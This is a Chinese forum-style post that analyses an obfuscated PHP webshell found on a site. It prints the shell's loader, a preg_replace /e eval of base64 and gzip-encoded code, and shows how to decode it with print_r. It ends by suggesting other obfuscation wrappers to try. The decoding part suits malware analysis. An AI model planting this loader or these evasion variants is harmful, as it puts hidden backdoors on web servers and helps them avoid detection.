由一枚php大马(过狗)引发的研究思路
今天t00ls有位朋友说他的网站根目录出现了疑似木马,就分享了出来,让大家参看参看,咋一看,这枚大马很面熟,其实真的是有点面熟哦,然后就小思考了一下:
<?php
if($_GET['baidu']!="Google"){
exit;
}
error_reporting(E_ERROR);
@ini_set('display_errors','Off');
@ini_set('max_execution_time',20000);
@ini_set('memory_limit','256M');
header("content-Type: text/html;charset=gb2312");
$password ="fba966a3fe552cb6ca480d07d6888173";
define('VERSION','tef');
$liner ="pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'
e。。。此处省略很多很多的东西。。。R'\x29\x29\x29\x3B",".");
?>
直接访问脚本的话是可以的哦。
但是脚本原本的密码是没有解密出来的,我本地调试的时候修改了密码,访问结果如下:
我去除中间的密文,那么就是下面的一段代码了:
?php
if($_GET['baidu']!="Google"){exit;}
error_reporting(E_ERROR);
ini_set('display_errors','Off');
ini_set('max_execution_time',20000);
ini_set('memory_limit','256M');
header("content-Type:text/html; charset=gb2312");
$password= "fba966a3fe552cb6ca480d07d6888173";
define('VERSION','tef');
$liner="pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e", "eval(gzuncompress(base64_decode('文中那段密文')));" , ".");
?>
其实代码中,核心函数就是preg_replace、eval 、gzuncompress、base64_decode。
组合一下,威力就显示出来,当时看到这个的时候,我自己想的是如何对密文进行解密,然而一位大神直接print_r给搞定了,一直忽略了print_r 与printf的作用。
今天是深深的体会到了,把eval改成print_r加密的内容就显示出来了。
如下这样使用,就是源码了:
<?php
if($_GET['baidu']!="Google"){exit;}
error_reporting(E_ERROR);
ini_set('display_errors','Off');
ini_set('max_execution_time',20000);
ini_set('memory_limit','256M');
header("content-Type:text/html; charset=gb2312");
$password= "fba966a3fe552cb6ca480d07d6888173";
define('VERSION','tef');
$liner="pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e", "print_r(gzuncompress(base64_decode('文中那段密文')));" , ".");
?>
然后就有了下面的想法,这里的才是重点:
preg_replace(str,replacement, subject) 我们是不是可以换掉?
eval(gzuncompress(base64_decode('文中那段密文'))) 我们是不是也可以改造一下呢?比如一些方法
{
eval(urldecode(gzuncompress(base64_decode(
eval(gzuncompress(base64_decode(
eval(base64_decode(gzuncompress(base64_decode(
echo(gzinflate(base64_decode(
}
由于要睡觉去了,就不研究了,有兴趣的朋友可以研究一下。